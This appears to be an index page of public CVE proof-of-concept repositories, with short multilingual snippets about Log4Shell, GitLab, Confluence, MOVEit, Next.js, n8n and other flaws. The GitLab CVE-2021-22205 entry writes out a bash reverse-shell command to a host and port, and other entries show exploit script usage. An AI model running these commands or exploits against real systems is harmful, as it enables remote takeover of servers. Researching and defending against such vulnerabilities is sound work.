log4jvulnerability-CVE-2021-44228

vulnerabilidad log4j-CVE-2021-44228 Un intento de entender la vulnerabilidad log4j examinando el código...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell 测试版本 构造生成漏洞利用的命令 root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh 利用djvumake生成漏洞利用的图片 root@kitploit: import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh",...

CVE-2022-26134

CVE-2022-26134 PoC Confluence ServerおよびData Center - CVE-2022-26134 - 重大な深刻度の認証されていないリモートコード実行脆弱性 PoC 深刻度 Atlassianは、Atlassianの深刻度レベルに基づき、この脆弱性の深刻度をCriticalと評価しています。上記の修正バージョンより前のすべてのConfluence ServerおよびData Centerのバージョンが影響を受けます。 修正バージョン...

CVE-2020-1350-Fix

KB4569509：针对 DNS 服务器漏洞 CVE-2020-1350 的指南 简介 2020 年 7 月 14 日，Microsoft 发布了针对 CVE-2020-1350 | Windows DNS 服务器远程代码执行漏洞所述问题的安全更新。本公告描述了一个严重级别的远程代码执行 RCE 漏洞，该漏洞影响配置为运行 DNS 服务器角色的 Windows 服务器。我们强烈建议服务器管理员尽早应用此安全更新。 可以使用基于注册表的变通方案来帮助保护受影响的 Windows...

CVE-2020-1048

CVE-2020-1048 CVE-2020-1048 PrintDemon の POC エクスプロイトコード 脆弱なシステム 以下のリンクに記載されているすべてのWindowsバージョンが脆弱です: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1048 再現手順 1. Source.c の先頭にある変数 gPortName と gInputFile を変更します。 2. Visual Studio を使用してコンパイルおよび実行します。 3. プリンターサービス spoolsv...

cve-2017-9822

CVE-2017-9822 基本信息 环境搭建 调试设置 分析 调试 XmlSerializer 攻击利用链（Gadget） ObjectDataProvider ResourceDictionary 从XML不安全反序列化到RCE CVE-2017-9822 DNN（也称为DotNetNuke）在9.1.1版本之前存在通过Cookie实现远程代码执行的可能性，即所谓的“2017-08（重要）DNN网站可能存在的远程代码执行漏洞”。 基本信息 受影响产品：DotNetNuke（DNN平台）——一款流行的.NET CMS/门户系统。 公布日期：2017年7月。...

Moniker-Link-CVE-2024-21413-

Moniker-Link-CVE-2024-21413- 2024年2月13日、Microsoftは、CVE-2024-21413 Moniker Link として割り当てられたMicrosoft OutlookのRCEおよび資格情報漏洩の脆弱性を発表しました。Check Point ResearchのHaifei Liがこの脆弱性の発見者としてクレジットされています。 この脆弱性は、Moniker Linkとして知られる特定の種類のハイパーリンクを処理する際に、Outlookのセキュリティメカニズムをバイパスします。攻撃者は、悪意のあるMoniker...

CVE-2026-87063

A flaw was found in konflux-operator-tasks. The Continuous Integration CI process installs the tkn command-line interface CLI from a network download without verifying its integrity through checksums or digital signatures. This vulnerability could allow a compromised distribution channel to...

CVE-2025-68613

CVE-2025-68613 — n8n ワークフロー自動化 式エンジン アイソレーション失敗 著者は、この研究に起因する誤用または損害について一切の責任を負いません 厳密に教育および防御目的でのみ提供されます 説明 このリポジトリは、ワークフロー自動化プラットフォーム n8n に影響を与える脆弱性 CVE-2025-68613 に関する、ラボグレードの分析と安全な Proof-of-Concept を含んでいます。 0.211.0 以降、1.120.4 より前のバージョン、および 1.121.0–1.121.1 は、式評価システム に重大な欠陥を含んでいます。...

nextjs-CVE-2025-55182

CVE-2025-55182 / CVE-2025-66478 React2Shell - Next.js 远程代码执行（RCE）PoC Next.js Server Actions 中的严重漏洞，允许通过 React Flight Protocol 反序列化实现未经认证的远程代码执行 概述 本仓库包含针对影响使用 Server Actions（React Server Functions）的 Next.js 应用程序的严重 RCE 漏洞的 概念验证（PoC） 。...

Microsoft-CVE-2022-26809-The-Little-Boy

Microsoft-CVE-2022-26809（又名The Little Boy）- POC 针对CVE-2022-26809通过RPC实现RCE的POC将在此处更新。 我们正在识别漏洞代码，并在这里分享最简单的一键RCE。...

CVE-2023-23752

CVE-2023-23752 Joomla 信息泄露利用代码，使用 C++ 编写。...

CVE-2022-22954

CVE-2022-22954 PoC VMware Workspace ONE Access 和 Identity Manager 存在通过 SSTI 实现的 RCE。 CVE-2022-22954 - PoC SSTI 用法： root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file |...

CVE-2026-63376

A flaw was found in toml-node, a software library used for parsing TOML Tom's Obvious, Minimal Language files in Node.js and web applications. A remote attacker could exploit a vulnerability known as prototype pollution by providing specially crafted TOML input. This could allow the attacker to...

relatorio-n8n.md

Informe TryHackMe — n8n: CVE-2025-68613 Vulnerabilidad: CVE-2025-68613 Publicación: 19/12/2025 CVSS: 9.9 Crítico Resumen Informe de la explotación y análisis de la vulnerabilidad de inyección de expresión en n8n que permite ejecución remota de código RCE. Documenta entorno, pasos, payloads...

Log4Shell-CVE-2021-44228

利用Log4Shell（CVE-2021-44228）：一个完整、现代的演示实验室 Log4Shell（CVE-2021-44228）是迄今为止公开的最具影响力的远程代码执行漏洞之一。它影响了Apache Log4j 2 ，这是一个广泛使用的Java日志框架，攻击者可以通过滥用日志消息中的JNDI查找 来执行任意代码。 本指南提供了一个完整的、可重复的演示实验室，使用： Kali Linux （攻击者） Docker化 的易受攻击的Log4j2应用程序 公开的PoC log4j-shell-poc curl 、Burp Suite 和Netcat...

CVE-2013-3214

CVE-2013-3214 vTiger 5.4.0 任意文件上传导致远程代码执行...

CVE-2023-34362

CVE-2023-34362：MOVEit Transfer 未认证远程代码执行 关于该漏洞及利用的完整技术描述，请阅读我们的 AttackerKB 分析文章。 使用方法 root@kitploit: ruby CVE-2023-34362.rb 注意：反序列化 gadget 配置为启动 'notepad.exe'。 示例 root@kitploit: ruby poc-cve-2023-34362.rb 192.168.86.111 + 开始。目标='https://192.168.86.111'。 + 获取初始会话令牌 '3el524tvmjs4iceurhm1r2cq' 和...

CVE-2022-24086-CVE-2022-24087

CVE-2022-24086-CVE-2022-24087 我撰写的关于 Magento 和 Adobe Commerce 远程代码执行漏洞 CVE-2022-24086&CVE-2022-24087 的博客文章（用于 Picus Cyber Talent Academy 作业）可以在 CVE-2022-24086&CVE-2022-24087.pdf 中找到。...

cve-2019-14514

CVEID : CVE-2019-14514 受影响产品及版本名称 : Microvirt MEmu（所有 7.0.2 之前的版本） 问题类型 : CWE-78：OS 命令中特殊元素未正确清理（'OS 命令注入'） 概述 MEmu 是一款适用于 Windows 的安卓模拟器。在测试过程中，我们发现了一个开放的 TCP 端口，可能被利用以获取 root 权限下的代码执行能力。 所有 7.0.2 之前的 Microvirt MEmu 版本都包含一个存在漏洞的二进制文件，该文件在端口 21509 上监听。攻击者可以通过发送包含用作 Unix shell...